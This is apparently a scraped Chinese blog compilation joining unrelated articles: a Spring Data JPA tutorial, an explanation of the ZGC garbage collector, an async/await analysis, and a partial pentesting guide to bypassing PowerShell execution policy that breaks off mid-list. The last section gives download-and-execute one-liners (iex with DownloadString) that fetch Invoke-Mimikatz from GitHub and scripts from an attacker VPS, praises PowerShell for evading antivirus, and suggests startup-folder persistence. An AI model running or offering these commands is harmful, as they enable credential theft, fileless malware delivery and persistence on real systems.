3、使用JPA註解配置映射關係

package top.biyenanhai.entity;

import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.Table;

/**
 * 
 *      * 所有的註解都是使用JPA的規範提供的註解,
 *      * 所以在導入註解包的時候,一定要導入javax.persistence下的
 */
@Entity //聲明實體類
@Table(name="cst_customer") //建立實體類和表的映射關係
public class Customer {
    
    @Id//聲明當前私有屬性為主鍵
    @GeneratedValue(strategy=GenerationType.IDENTITY) //配置主鍵的生成策略
    @Column(name="cust_id") //指定和表中cust_id字段的映射關係
    private Long custId;
    
    @Column(name="cust_name") //指定和表中cust_name字段的映射關係
    private String custName;
    
    @Column(name="cust_source")//指定和表中cust_source字段的映射關係
    private String custSource;
    
    @Column(name="cust_industry")//指定和表中cust_industry字段的映射關係
    private String custIndustry;
    
    @Column(name="cust_level")//指定和表中cust_level字段的映射關係
    private String custLevel;
    
    @Column(name="cust_address")//指定和表中cust_address字段的映射關係
    private String custAddress;
    
    @Column(name="cust_phone")//指定和表中cust_phone字段的映射關係
    private String custPhone;
    
    //添加get,set方法,toString方法
}

3、編寫符合Spring Data JPA規範的Dao層接口,繼承JpaRepository<T,ID>和JpaSpecificationExecutor<T>

 *     JpaRepository<操作的實體類類型,實體類中主鍵屬性的類型>
 *              *封裝了基本CURD操作
 *     JpaSpecificationExecutor<操作的實體類類型>
 *              *封裝了複雜查詢(分頁)
package top.biyenanhai.dao;

import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.jpa.repository.JpaSpecificationExecutor;
import org.springframework.data.jpa.repository.Modifying;
import org.springframework.data.jpa.repository.Query;
import top.biyenanhai.domain.Customer;

import java.util.List;

/**
 * Created with IntelliJ IDEA.
 *
 * @Auther: 畢業男孩
 *
 * 符合SpringDataJpa的dao接口規範
 *      JpaRepository<操作的實體類類型,實體類中主鍵屬性的類型>
 *              *封裝了基本CURD操作
 *      JpaSpecificationExecutor<操作的實體類類型>
 *              *封裝了複雜查詢(分頁)
 *
 */
public interface CustomerDao extends JpaRepository<Customer, Long>, JpaSpecificationExecutor<Customer> {

    /**
     * 案例:根據客戶名稱查詢客戶
     *      使用jpql的形式查詢
     *
     *  jpql:from Customer where custName = ?
     *
     *  配置jpql語句,使用@Query註解
     */
    @Query(value="from Customer where custName = ? ")
    Customer findJpql(String custName);

    /**
     * 案例:根據客戶名稱和客戶id查詢客戶
     *      jqpl:from Customer where cutName = ? and custId = ?
     *
     *   對於多個佔位符參數
     *          賦值的時候,默認的情況下,佔位符的位置需要和方法參數中的位置保持一致
     *   可以指定佔位符參數的位置
     *          ?索引的方式,指定此佔位的取值來源
     */
    @Query(value = "from Customer where custName=?2 and custId=?1")
    Customer findCustNameAndCustId(Long id,String name);


    /**
     * 使用jpql完成更新操作
     *      案例:根據id更新,客戶的名稱
     *          更新4號客戶的名稱,將名稱改為“老男孩”
     *
     *
     * sql:update cst_customer set cust_name = ?where cust_id=?
     * jpql:update Customer set custName=? where custId=?
     *
     * @Query:代表的是進行查詢
     *      聲明此方法是用來更新操作
     * @Modifying:當前執行的是一個更新操作
     */
    @Query(value = "update Customer set custName=?2 where custId=?1")
    @Modifying
    void updateCustomer(long id, String custName);


    /**
     * 使用sql的形式查詢:
     *      查詢全部的客戶
     *      sql:select * from cst_custimer;
     *      Query:配置sql查詢
     *          value: sql語句
     *          nativeQuery: 查詢方式
     *              true:sql查詢
     *              false:jpql查詢
     */
//    @Query(value = "select * from cst_customer", nativeQuery = true)  //查詢全部

    @Query(value = "select * from cst_customer where cust_name like ?1",nativeQuery = true) //條件查詢
    List<Object[]> findSql(String name);


    /**
     * 方法名的約定:
     *      findBy:查詢
     *          對象中的屬性名(首字母大寫):查詢的條件
     *          CustName
     *          *默認情況:使用 等於的方式查詢
     *              特殊的查詢方式
     * findByCustName --  根據客戶名稱查詢
     *
     * 在springdataJpa的運行階段
     *      會根據方法名稱進行解析  findBy  from xxx(實體類)
     *                                  屬性名稱    where custName =
     *
     *
     *      1、findBy + 屬性名稱(根據屬性名稱進行完成匹配的查詢=)
     *      2、findBy + 屬性名稱 + “查詢方式(Like|isnull)”
     *      3、多條件查詢
     *          findBy + 屬性名 + "查詢條件" + "多條件的連接符(and|or)" + 屬性名 + “查詢方式”
     *
     */
    Customer findByCustName(String custName);

    List<Customer> findByCustNameLike(String name);

    List<Customer> findByCustNameLikeAndCustIndustry(String name, String industry);

}

4、測試基本CRUD操作

@RunWith(SpringJUnit4ClassRunner.class) //聲明spring提供的單元測試環境
@ContextConfiguration(locations = "classpath:applicationContext.xml")//指定spring容器的配置信息
public class CustomerDaoTest {

    @Autowired
    private CustomerDao customerDao;

    /**
     * 根據id查詢
     */
    @Test
    public void testFindOne(){
        Customer customer = customerDao.findOne(1l);
        System.out.println(customer);
    }
......
    
    /**
     * 測試jqpl的更新操作
     * 更新和刪除操作要加上事務的註解
     *
     * springDataJpa中使用jpql完成  更新/刪除操作
     *          需要手動添加事務的支持
     *          默認回執行結束之後,回滾事務
     *    @Rollback:設置是否自動回滾
     */
    @Test
    @Transactional//添加事務的支持
    @Rollback(false)
    public void testUpdate(){
        customerDao.updateCustomer(1l, "航空航天科技有限公司");
    }
......

5、具體關鍵字,使用方法和生產成SQL如下錶所示

Keyword

Sample

JPQL

And

findByLastnameAndFirstname

… where x.lastname = ?1 and x.firstname = ?2

Or

findByLastnameOrFirstname

… where x.lastname = ?1 or x.firstname = ?2

Is,Equals

findByFirstnameIs,

findByFirstnameEquals

… where x.firstname = ?1

Between

findByStartDateBetween

… where x.startDate between ?1 and ?2

LessThan

findByAgeLessThan

… where x.age < ?1

LessThanEqual

findByAgeLessThanEqual

… where x.age ?1

GreaterThan

findByAgeGreaterThan

… where x.age > ?1

GreaterThanEqual

findByAgeGreaterThanEqual

… where x.age >= ?1

After

findByStartDateAfter

… where x.startDate > ?1

Before

findByStartDateBefore

… where x.startDate < ?1

IsNull

findByAgeIsNull

… where x.age is null

IsNotNull,NotNull

findByAge(Is)NotNull

… where x.age not null

Like

findByFirstnameLike

… where x.firstname like ?1

NotLike

findByFirstnameNotLike

… where x.firstname not like ?1

StartingWith

findByFirstnameStartingWith

… where x.firstname like ?1 (parameter bound with appended %)

EndingWith

findByFirstnameEndingWith

… where x.firstname like ?1 (parameter bound with prepended %)

Containing

findByFirstnameContaining

… where x.firstname like ?1 (parameter bound wrapped in %)

OrderBy

findByAgeOrderByLastnameDesc

… where x.age = ?1 order by x.lastname desc

Not

findByLastnameNot

… where x.lastname <> ?1

In

findByAgeIn(Collection ages)

… where x.age in ?1

NotIn

findByAgeNotIn(Collection age)

… where x.age not in ?1

TRUE

findByActiveTrue()

… where x.active = true

FALSE

findByActiveFalse()

… where x.active = false

IgnoreCase

findByFirstnameIgnoreCase

… where UPPER(x.firstame) = UPPER(?1)

 

六、Specifications動態查詢:

  有時我們在查詢某個實體的時候,給定的條件是不固定的,這時就需要動態構建相應的查詢語句,在Spring Data JPA中可以通過JpaSpecificationExecutor接口查詢。相比JPQL,其優勢是類型安全,更加的面向對象。對於JpaSpecificationExecutor,這個接口基本是圍繞着Specification接口來定義的。我們可以簡單的理解為,Specification構造的就是查詢條件。

/**
    *    root    :Root接口,代表查詢的根對象,可以通過root獲取實體中的屬性
    *    query    :代表一個頂層查詢對象,用來自定義查詢
    *    cb        :用來構建查詢,此對象里有很多條件方法
    **/
    public Predicate toPredicate(Root<T> root, CriteriaQuery<?> query, CriteriaBuilder cb);

案例:使用Specifications完成條件查詢

//依賴注入customerDao
    @Autowired
    private CustomerDao customerDao;    
    @Test
    public void testSpecifications() {
          //使用匿名內部類的方式,創建一個Specification的實現類,並實現toPredicate方法
        Specification <Customer> spec = new Specification<Customer>() {
            public Predicate toPredicate(Root<Customer> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
                //cb:構建查詢,添加查詢方式   like:模糊匹配
                //root:從實體Customer對象中按照custName屬性進行查詢
                return cb.like(root.get("custName").as(String.class), "航天航空%");
            }
        };
        Customer customer = customerDao.findOne(spec);
        System.out.println(customer);
    }

案例:基於Specifications的分頁查詢

@Test
    public void testPage() {
        //構造查詢條件
        Specification<Customer> spec = new Specification<Customer>() {
            public Predicate toPredicate(Root<Customer> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
                return cb.like(root.get("custName").as(String.class), "航天%");
            }
        };
        
        /**
         * 構造分頁參數
         *         Pageable : 接口
         *             PageRequest實現了Pageable接口,調用構造方法的形式構造
         *                 第一個參數:頁碼(從0開始)
         *                 第二個參數:每頁查詢條數
         */
        Pageable pageable = new PageRequest(0, 5);
        
        /**
         * 分頁查詢,封裝為Spring Data Jpa 內部的page bean
         *         此重載的findAll方法為分頁方法需要兩個參數
         *             第一個參數:查詢條件Specification
         *             第二個參數:分頁參數
         */
        Page<Customer> page = customerDao.findAll(spec,pageable);
        
    }

對於Spring Data JPA中的分頁查詢,是其內部自動實現的封裝過程,返回的是一個Spring Data JPA提供的pageBean對象。其中的方法說明如下:

//獲取總頁數
int getTotalPages();
//獲取總記錄數    
long getTotalElements();
//獲取列表數據
List<T> getContent();

方法對應關係:

方法名稱

Sql對應關係

equal

filed = value

gt(greaterThan )

filed > value

lt(lessThan )

filed < value

ge(greaterThanOrEqualTo )

filed >= value

le( lessThanOrEqualTo)

filed <= value

notEqual

filed != value

like

filed like value

notLike

filed not like value

七、JPA中的一對多:

實體類(一對多,一的實體類)

/**
 * 客戶的實體類
 * 明確使用的註解都是JPA規範的
 * 所以導包都要導入javax.persistence包下的
 */
@Entity//表示當前類是一個實體類
@Table(name="cst_customer")//建立當前實體類和表之間的對應關係
public class Customer implements Serializable {
    
    @Id//表明當前私有屬性是主鍵
    @GeneratedValue(strategy=GenerationType.IDENTITY)//指定主鍵的生成策略
    @Column(name="cust_id")//指定和數據庫表中的cust_id列對應
    private Long custId;
    @Column(name="cust_name")//指定和數據庫表中的cust_name列對應
    private String custName;
    
    //配置客戶和聯繫人的一對多關係
    @OneToMany(targetEntity=LinkMan.class)
    @JoinColumn(name="lkm_cust_id",referencedColumnName="cust_id")
    private Set<LinkMan> linkmans = new HashSet<LinkMan>();

...get,set方法

實體類(一對多,多的實體類)

/**
 * 聯繫人的實體類(數據模型)
 */
@Entity
@Table(name="cst_linkman")
public class LinkMan implements Serializable {
    @Id
    @GeneratedValue(strategy=GenerationType.IDENTITY)
    @Column(name="lkm_id")
    private Long lkmId;
    @Column(name="lkm_name")
    private String lkmName;
    @Column(name="lkm_gender")
    private String lkmGender;
    @Column(name="lkm_phone")
    private String lkmPhone;

    //多對一關係映射:多個聯繫人對應客戶
    @ManyToOne(targetEntity=Customer.class)
    @JoinColumn(name="lkm_cust_id",referencedColumnName="cust_id")
    private Customer customer;//用它的主鍵,對應聯繫人表中的外鍵

...get,set方法

八、JPA中的多對多:

/**
 * 用戶的數據模型
 */
@Entity
@Table(name="sys_user")
public class SysUser implements Serializable {
    
    @Id
    @GeneratedValue(strategy=GenerationType.IDENTITY)
    @Column(name="user_id")
    private Long userId;
    @Column(name="user_name")
    private String userName;

    
    //多對多關係映射
    @ManyToMany(mappedBy="users")
    private Set<SysRole> roles = new HashSet<SysRole>();
/**
 * 角色的數據模型
 */
@Entity
@Table(name="sys_role")
public class SysRole implements Serializable {
    
    @Id
    @GeneratedValue(strategy=GenerationType.IDENTITY)
    @Column(name="role_id")
    private Long roleId;
    @Column(name="role_name")
    private String roleName;
    
    //多對多關係映射
    @ManyToMany
    @JoinTable(name="user_role_rel",//中間表的名稱
              //中間表user_role_rel字段關聯sys_role表的主鍵字段role_id
              joinColumns={@JoinColumn(name="role_id",referencedColumnName="role_id")},
              //中間表user_role_rel的字段關聯sys_user表的主鍵user_id
              inverseJoinColumns={@JoinColumn(name="user_id",referencedColumnName="user_id")}
    )
    private Set<SysUser> users = new HashSet<SysUser>();

 

映射的註解說明

@OneToMany:
       作用:建立一對多的關係映射
    屬性:
        targetEntityClass:指定多的多方的類的字節碼
        mappedBy:指定從表實體類中引用主表對象的名稱。
        cascade:指定要使用的級聯操作
        fetch:指定是否採用延遲加載

@ManyToOne
    作用:建立多對一的關係
    屬性:
        targetEntityClass:指定一的一方實體類字節碼
        cascade:指定要使用的級聯操作
        fetch:指定是否採用延遲加載
        optional:關聯是否可選。如果設置為false,則必須始終存在非空關係。

@JoinColumn
     作用:用於定義主鍵字段和外鍵字段的對應關係。
     屬性:
        name:指定外鍵字段的名稱
        referencedColumnName:指定引用主表的主鍵字段名稱
        unique:是否唯一。默認值不唯一
        nullable:是否允許為空。默認值允許。
        insertable:是否允許插入。默認值允許。
        updatable:是否允許更新。默認值允許。
        columnDefinition:列的定義信息。

 

九、Spring Data JPA中的多表查詢:

  對象導航查詢:對象導航檢索方式是根據已經加載的對象,導航到他的關聯對象。它利用類與類之間的關係來檢索對象。例如:我們通過ID查詢方式查出一個客戶,可以調用Customer類中的getLinkMans()方法來獲取該客戶的所有聯繫人。對象導航查詢的使用要求是:兩個對象之間必須存在關聯關係。

//查詢一個客戶,獲取該客戶下的所有聯繫人
@Autowired
private CustomerDao customerDao;
    
@Test
//由於是在java代碼中測試,為了解決no session問題,將操作配置到同一個事務中
@Transactional 
public void testFind() {
    Customer customer = customerDao.findOne(5l);
    Set<LinkMan> linkMans = customer.getLinkMans();//對象導航查詢
    for(LinkMan linkMan : linkMans) {
          System.out.println(linkMan);
    }
}
//查詢一個聯繫人,獲取該聯繫人的所有客戶
@Autowired
private LinkManDao linkManDao;
    
@Test
public void testFind() {
    LinkMan linkMan = linkManDao.findOne(4l);
    Customer customer = linkMan.getCustomer(); //對象導航查詢
    System.out.println(customer);
}

採用延遲加載的思想。通過配置的方式來設定當我們在需要使用時,發起真正的查詢。

配置方式:

/**
 * 在客戶對象的@OneToMany註解中添加fetch屬性
 *     FetchType.EAGER    :立即加載
 *     FetchType.LAZY            :延遲加載
 */
 @OneToMany(mappedBy="customer",fetch=FetchType.EAGER)
 private Set<LinkMan> linkMans = new HashSet<>();
    
/**
 * 在聯繫人對象的@ManyToOne註解中添加fetch屬性
 *         FetchType.EAGER    :立即加載
 *         FetchType.LAZY    :延遲加載
 */
 @ManyToOne(targetEntity=Customer.class,fetch=FetchType.EAGER)
 @JoinColumn(name="cst_lkm_id",referencedColumnName="cust_id")
 private Customer customer;

使用Specification查詢

/**
 * Specification的多表查詢
 */
@Test
public void testFind() {
    Specification<LinkMan> spec = new Specification<LinkMan>() {
        public Predicate toPredicate(Root<LinkMan> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
            //Join代錶鏈接查詢,通過root對象獲取
            //創建的過程中,第一個參數為關聯對象的屬性名稱,第二個參數為連接查詢的方式(left,inner,right)
            //JoinType.LEFT : 左外連接,JoinType.INNER:內連接,JoinType.RIGHT:右外連接
            Join<LinkMan, Customer> join = root.join("customer",JoinType.INNER);
            return cb.like(join.get("custName").as(String.class),"航空航天");
        }
    };
    List<LinkMan> list = linkManDao.findAll(spec);
    for (LinkMan linkMan : list) {
        System.out.println(linkMan);
    }
}

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※教你寫出一流的銷售文案?

深入理解JVM(③)ZGC收集器

前言

ZGC是一款在JDK11中新加入的具有實驗性質的低延遲垃圾收集器,目前僅支持Linux/x86-64。ZGC收集器是一款基於Region內存布局的,(暫時)不設分代的,使用了讀屏障、染色指針和內存多重映射等技術來實現可併發的標記-整理算法的,以低延遲為首要目標的一款垃圾收集器。

ZGC布局

與Shenandoah和G1一樣,ZGC也採取基於Region的堆內存布局,但與他們不同的是,ZGC的Region具有動態性(動態的創建和銷毀,以及動態的區域容量大小)。
ZGC的Region可以分為三類:

  • 小型Region:容量固定為2MB,用於放置小於256KB的小對象。
  • 中型Region:容量固定為32MB,用於放置大於等於256KB但小於4MB的對象。
  • 大型Region:容量不固定,可以動態變化,但必須為2MB的整數倍,用於存放4MB或以上的大對象。並且每個大型Region只會存放一個對象。
    ZGC內存布局圖:

染色指針

HotSpot的垃圾收集器,有幾種不同的標記實現方案。

  • 把標記直接記錄在對象頭上(Serial 收集器)。
  • 把標記記錄在於對象相互獨立的數據結構上(G1、Shenandoah使用了一種相當於堆內存的1/64大小的,稱為BitMap的結構來記錄標記信息)。
  • ZGC染色指針直接把標記信息記載引用對象的指針上。
    染色指針是一種直接將少量額外的信息存儲在指針上的技術。
    目前Linux下64位指針的高18位不能用來尋址,但剩餘的46位指針所能支持的64TB內存仍然鞥呢夠充分滿足大型服務器的需要。鑒於此,ZGC將其高4位提取出來存儲四個標誌信息。
    通過這些標誌虛擬機就可以直接從指針中看到器引用對象的三色標記狀態(Marked0、Marked1)、是否進入了重分配集(是否被移動過——Remapped)、是否只能通過finalize()方法才能被訪問到(Finalizable)。由於這些標誌位進一步壓縮了原本只有46位的地址空寂,導致ZGC能夠管理的內存不可以超過4TB。
    染色指針示意圖:

染色指針的優勢

  • 染色指針可以使得一旦某個Region的存活對象被移走之後,這個Region立即就能夠被釋放和重用掉,而不必等待整個堆中所有指令向該Region的引用都被修正後才能清理。
  • 染色指針可以大幅減少在垃圾收集過程中內存屏障的使用數量,設置內存屏障,尤其是在寫屏障的目的通常是為了記錄對象引用的變動情況,如果將這些信息直接維護在指針中,顯然就可以省去一些專門的記錄操作。
  • 染色指針可以作為一種可擴展的存儲結構用來記錄更多與對象標記、重定位過程相關的數據,以便日後進一步提高性能。

內存多重映射

Linux/x86-64平台上ZGC使用了多重映射(Multi-Mapping)將多個不同的虛擬內存地址映射到同一物理內存地址上,這是一種多對一映射,意味着ZGC在虛擬內存中看到的地址空寂要比實際的堆內存容量來的更大。把染色指針中的標誌位看作是地址的分段符,那隻要將這些不同的地址段都映射到同一物理內褲空間,經過多重映射轉換后,就可以使用染色指針正常進行尋址了。
多重映射下的尋址:

ZGC的運作過程

ZGC的運作過程大致可劃分為以下四個大的階段。四個階段都是可以併發執行的,僅是兩個階段中間會存在短暫的停頓小階段。
運作過程如下:

  • 併發標記(Concurrent Mark): 與G1、Shenandoah一樣,併發標記是遍歷對象圖做可達性分析的階段,前後也要經過類似於G1、Shenandoah的初始標記、最終標記的短暫停頓,而且這些停頓階段所做的事情在目標上也是相類似的。
  • 併發預備重分配( Concurrent Prepare for Relocate): 這個階段需要根據特定的查詢條件統計得出本次收集過程要清理哪些Region,將這些Region組成重分配集(Relocation Set)。
  • 併發重分配(Concurrent Relocate): 重分配是ZGC執行過程中的核心階段,這個過程要把重分配集中的存活對象複製到新的Region上,併為重分配集中的每個Region維護一個轉發表(Forward Table),記錄從舊對象到新對象的轉向關係。
  • 併發重映射(Concurrent Remap): 重映射所做的就是修正整個堆中指向重分配集中舊對象的所有引用,ZGC的併發映射並不是以一個必須要“迫切”去完成的任務。ZGC很巧妙地把併發重映射階段要做的工作,合併到下一次垃圾收集循環中的併發標記階段里去完成,反正他們都是要遍歷所有對象的,這樣合併節省了一次遍歷的開銷。

ZGC的優劣勢

  • 缺點:浮動垃圾
    當ZGC準備要對一個很大的堆做一次完整的併發收集,駕駛其全過程要持續十分鐘以上,由於應用的對象分配速率很高,將創造大量的新對象,這些新對象很難進入當次收集的標記範圍,通常就只能全部作為存活對象來看待(儘管其中絕大部分對象都是朝生夕滅),這就產生了大量的浮動垃圾。
    目前唯一的辦法就是盡可能地去增加堆容量大小,獲取更多喘息的時間。但若要從根本上解決,還是需要引入分代收集,讓新生對象都在一個專門的區域中創建,然後針對這個區域進行更頻繁、更快的收集。
  • 優點:高吞吐量、低延遲
    ZGC是支持“NUMA-Aware”的內存分配。MUMA(Non-Uniform Memory Access,非統一內存訪問架構)是一種多處理器或多核處理器計算機所設計的內存架構。
    現在多CPU插槽的服務器都是Numa架構,比如兩顆CPU插槽(24核),64G內存的服務器,那其中一顆CPU上的12個核,訪問從屬於它的32G本地內存,要比訪問另外32G遠端內存要快得多。
    ZGC默認支持NUMA架構,在創建對象時,根據當前線程在哪個CPU執行,優先在靠近這個CPU的內存進行分配,這樣可以顯著的提高性能,在SPEC JBB 2005 基準測試里獲得40%的提升。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※別再煩惱如何寫文案,掌握八大原則!

※產品缺大量曝光嗎?你需要的是一流包裝設計!

async/await剖析

async/await剖析

JavaScript是單線程的,為了避免同步阻塞可能會帶來的一些負面影響,引入了異步非阻塞機制,而對於異步執行的解決方案從最早的回調函數,到ES6Promise對象以及Generator函數,每次都有所改進,但是卻又美中不足,他們都有額外的複雜性,都需要理解抽象的底層運行機制,直到在ES7中引入了async/await,他可以簡化使用多個Promise時的同步行為,在編程的時候甚至都不需要關心這個操作是否為異步操作。

分析

首先使用async/await執行一組異步操作,並不需要回調嵌套也不需要寫多個then方法,在使用上甚至覺得這本身就是一個同步操作,當然在正式使用上應該將await語句放置於 try...catch代碼塊中,因為await命令後面的Promise對象,運行結果可能是rejected

function promise(){
    return new Promise((resolve, reject) => {
       var rand = Math.random() * 2; 
       setTimeout(() => resolve(rand), 1000);
    });
}

async function asyncFunct(){
    var r1 = await promise();
    console.log(1, r1);
    var r2 = await promise();
    console.log(2, r2);
    var r3 = await promise();
    console.log(3, r3);
}

asyncFunct();

async/await實際上是Generator函數的語法糖,如Promises類似於結構化回調,async/await在實現上結合了Generator函數與Promise函數,下面使用Generator函數加Thunk函數的形式實現一個與上邊相同的例子,可以看到只是將async替換成了*放置在函數右端,並將await替換成了yield,所以說async/await實際上是Generator函數的語法糖,此處唯一不同的地方在於實現了一個流程的自動管理函數run,而async/await內置了執行器,關於這個例子的實現下邊會詳述。對比來看,asyncawait,比起*yield,語義更清楚,async表示函數里有異步操作,await表示緊跟在後面的表達式需要等待結果。

function thunkFunct(index){
    return function f(funct){
        var rand = Math.random() * 2;
        setTimeout(() => funct(rand), 1000)
    }
}

function* generator(){ 
    var r1 = yield thunkFunct();
    console.log(1, r1);
    var r2 = yield thunkFunct();
    console.log(2, r2);
    var r3 = yield thunkFunct();
    console.log(3, r3);
}

function run(generator){
    var g = generator();

    var next = function(data){
        var res = g.next(data);
        if(res.done) return ;
        // console.log(res.value);
        res.value(next);
    }

    next();
}

run(generator);

實現

async函數內置了執行器,能夠實現函數執行的自動流程管理,通過Generator yield ThunkGenerator yield Promise實現一個自動流程管理,只需要編寫Generator函數以及Thunk函數或者Promise對象並傳入自執行函數,就可以實現類似於async/await的效果。

Generator yield Thunk

自動流程管理run函數,首先需要知道在調用next()方法時,如果傳入了參數,那麼這個參數會傳給上一條執行的yield語句左邊的變量,在這個函數中,第一次執行next時並未傳遞參數,而且在第一個yield上邊也並不存在接收變量的語句,無需傳遞參數,接下來就是判斷是否執行完這個生成器函數,在這裏並沒有執行完,那麼將自定義的next函數傳入res.value中,這裏需要注意res.value是一個函數,可以在下邊的例子中將註釋的那一行執行,然後就可以看到這個值是f(funct){...},此時我們將自定義的next函數傳遞后,就將next的執行權限交予了f這個函數,在這個函數執行完異步任務后,會執行回調函數,在這個回調函數中會觸發生成器的下一個next方法,並且這個next方法是傳遞了參數的,上文提到傳入參數後會將其傳遞給上一條執行的yield語句左邊的變量,那麼在這一次執行中會將這個參數值傳遞給r1,然後在繼續執行next,不斷往複,直到生成器函數結束運行,這樣就實現了流程的自動管理。

function thunkFunct(index){
    return function f(funct){
        var rand = Math.random() * 2;
        setTimeout(() => funct(rand), 1000)
    }
}

function* generator(){ 
    var r1 = yield thunkFunct();
    console.log(1, r1);
    var r2 = yield thunkFunct();
    console.log(2, r2);
    var r3 = yield thunkFunct();
    console.log(3, r3);
}

function run(generator){
    var g = generator();

    var next = function(data){
        var res = g.next(data);
        if(res.done) return ;
        // console.log(res.value);
        res.value(next);
    }

    next();
}

run(generator);

Generator yield Promise

相對於使用Thunk函數來做流程自動管理,使用Promise來實現相對更加簡單,Promise實例能夠知道上一次回調什麼時候執行,通過then方法啟動下一個yield,不斷繼續執行,這樣就實現了流程的自動管理。

function promise(){
    return new Promise((resolve,reject) => {
        var rand = Math.random() * 2;
        setTimeout( () => resolve(rand), 1000);
    })
}

function* generator(){ 
    var r1 = yield promise();
    console.log(1, r1);
    var r2 = yield promise();
    console.log(2, r2);
    var r3 = yield promise();
    console.log(3, r3);
}

function run(generator){
    var g = generator();

    var next = function(data){
        var res = g.next(data);
        if(res.done) return ;
        res.value.then(data => next(data));
    }

    next();
}

run(generator);
// 比較完整的流程自動管理函數
function promise(){
    return new Promise((resolve,reject) => {
        var rand = Math.random() * 2;
        setTimeout( () => resolve(rand), 1000);
    })
}

function* generator(){ 
    var r1 = yield promise();
    console.log(1, r1);
    var r2 = yield promise();
    console.log(2, r2);
    var r3 = yield promise();
    console.log(3, r3);
}

function run(generator){
    return new Promise((resolve, reject) => {
        var g = generator();
        
        var next = function(data){
            var res = null;
            try{
                res = g.next(data);
            }catch(e){
                return reject(e);
            }
            if(!res) return reject(null);
            if(res.done) return resolve(res.value);
            Promise.resolve(res.value).then(data => {
                next(data);
            },(e) => {
                throw new Error(e);
            });
        }
        
        next();
    })
   
}

run(generator).then( () => {
    console.log("Finish");
});

每日一題

https://github.com/WindrunnerMax/EveryDay

參考

https://segmentfault.com/a/1190000007535316
http://www.ruanyifeng.com/blog/2015/05/co.html
http://www.ruanyifeng.com/blog/2015/05/async.html

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

網頁設計最專業,超強功能平台可客製化

繞過PowerShell執行策略方法

前言:

默認情況下,PowerShell配置為阻止Windows系統上執行PowerShell腳本。對於滲透測試人員,系統管理員和開發人員而言,這可能是一個障礙,但並非必須如此。

 

什麼是PowerShell執行策略?

PowerShell execution policy 是用來決定哪些類型的PowerShell腳本可以在系統中運行。默認情況下,它是“Restricted”(限制)的。然而,這個設置從來沒有算是一種安全控制。相反,它會阻礙管理員操作。這就是為什麼我們有這麼多繞過它的方法。

 

為什麼我們要繞過執行政策?

因為人們希望使用腳本實現自動化操作,powershell為什麼受到管理員、滲透測試人員、黑客的青睞,原因如下:

Windows原生支持
能夠調用Windows API
能夠運行命令而無需寫入磁盤(可直接加載至內存,無文件落地)
能夠避免被反病毒工具檢測
大多數應用程序白名單解決方案已將其標記為“受信任”
一種用於編寫許多開源Pentest工具包的媒介

 

如何查看執行策略

在能夠使用所有完美功能的PowerShell之前,攻擊者可以繞過“Restricted”(限制)execution policy。你可以通過PowerShell命令“executionpolicy“看看當前的配置。如果你第一次看它的設置可能設置為“Restricted”(限制),如下圖所示:

Get-ExecutionPolicy

 

 

同樣值得注意的是execution policy可以在系統中設置不同的級別。要查看他們使用下面的命令列表。更多信息可以點擊這裏查看微軟的“Set-ExecutionPolicy” 。

Get-ExecutionPolicy -List | Format-Table -AutoSize

 

 

我們先將powershell執行策略設置為Restricted(限制),方便進行後續測試繞過PowerShell Execution Policy。

Set-ExecutionPolicy Restricted

 

 

繞過PowerShell執行策略

1、直接在Interactive PowerShell控制台中輸入powershell代碼
複製並粘貼你的PowerShell腳到一個交互式控制台,如下圖所示。但是,請記住,你將受到當前用戶權限限制。這是最基本的例子,當你有一個交互控制台時,可以方便快速地運行腳本。此外,這種技術不會更改配置或需要寫入磁盤。

Write-Host “It’s run!”;

 

 

2、echo腳本並將其通過管道傳遞到PowerShell
簡單的ECHO腳本到PowerShell的標準輸入。這種技術不會導致配置的更改或要求寫入磁盤。

Echo Write-Host “It’s run!” | PowerShell.exe -noprofile –

 

 

3、從文件讀取腳本並通過管道傳輸到PowerShell
使用Windows的”type”命令或PowerShell的”Get-Content”命令來從磁盤讀取你的腳本並輸入到標準的PowerShell中,這種技術不會導致配置文件的更改,但是需要寫入磁盤。然而,如果你想試圖避免寫到磁盤,你可以從網絡上遠程讀取你的腳本。

例1:Get-Content Powershell命令

Get-Content .\demo.ps1 | PowerShell.exe -noprofile –

 

 

例2:Type 命令

type .\demo.ps1 | PowerShell.exe -noprofile –

 

 

4、從遠程下載腳本並通過IEX執行
這種技術可以用來從網上下載一個PowerShell腳本並執行它無需寫入磁盤。它也不會導致任何配置更改。

powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’)”

如無法使用github下載可換vps:

powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘http://182.xxx.xxx.156:10001/demo.ps1’)”

 

 

5、使用使用command命令
這種技術和通過複製和粘貼來執行一個腳本是非常相似的,但它可以做沒有交互式控制台。這是很好的方式適合執行簡單的腳本,但更複雜的腳本通常容易出現錯誤。這種技術不會導致配置更改或要求寫入磁盤。

例1:完整的命令

Powershell -command “Write-Host “Its run!””;

 

 

示例2:簡短命令(-c)

Powershell -c “Write-Host “It’s run!'”

可能還值得注意的是,您可以將這些類型的PowerShell命令放入批處理文件中,並將它們放入自動運行的位置(如所有用戶的啟動文件夾),以在權限提升期間提供幫助。

 

 

6、使用EncodeCommand命令
